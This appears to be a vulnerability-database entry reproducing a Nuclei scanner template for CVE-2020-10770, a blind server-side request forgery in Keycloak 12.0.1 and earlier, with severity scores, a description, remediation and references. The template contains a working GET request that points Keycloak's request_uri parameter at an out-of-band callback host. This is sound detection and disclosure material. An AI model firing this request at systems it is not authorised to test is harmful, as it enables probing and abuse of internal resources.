Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2020-10770
HistoryOct 17, 2021 - 3:59 p.m.

Keycloak <= 12.0.1 - request_uri Blind Server-Side Request Forgery (SSRF)

2021-10-1715:59:45
ProjectDiscovery
github.com
23

5.3 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

5.1 Medium

AI Score

Confidence

High

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:N/I:P/A:N

0.26 Low

EPSS

Percentile

96.7%

Keycloak 12.0.1 and below allows an attacker to force the server to request an unverified URL using the OIDC parameter request_uri. This allows an attacker to execute a server-side request forgery (SSRF) attack.

id: CVE-2020-10770

info:
  name: Keycloak <= 12.0.1 - request_uri Blind Server-Side Request Forgery (SSRF)
  author: dhiyaneshDk
  severity: medium
  description: Keycloak 12.0.1 and below allows an attacker to force the server to request an unverified URL using the OIDC parameter request_uri. This allows an attacker to execute a server-side request forgery (SSRF) attack.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to internal resources, data leakage, or further attacks.
  remediation: |
    Upgrade Keycloak to a version higher than 12.0.1 to mitigate this vulnerability.
  reference:
    - https://packetstormsecurity.com/files/164499/Keycloak-12.0.1-Server-Side-Request-Forgery.html
    - https://www.exploit-db.com/exploits/50405
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10770
    - https://bugzilla.redhat.com/show_bug.cgi?id=1846270
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-10770
    cwe-id: CWE-918
    epss-score: 0.3389
    epss-percentile: 0.96671
    cpe: cpe:2.3:a:redhat:keycloak:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: redhat
    product: keycloak
  tags: cve,cve2020,keycloak,ssrf,oast,blind,packetstorm,edb,redhat

http:
  - method: GET
    path:
      - '{{BaseURL}}/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://{{interactsh-url}}/'

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 4a0a0047304502207a990c223869ea534afb11dcb5ee30b32a092c96504f702a4c609634602c7107022100aabc1e85ae1b8868b3f3affb647cce1e5b5f85548dbd29e9abb1da949102ba43:922c64590222798bb761d5b6d8e72950

5.3 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

5.1 Medium

AI Score

Confidence

High

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:N/I:P/A:N

0.26 Low

EPSS

Percentile

96.7%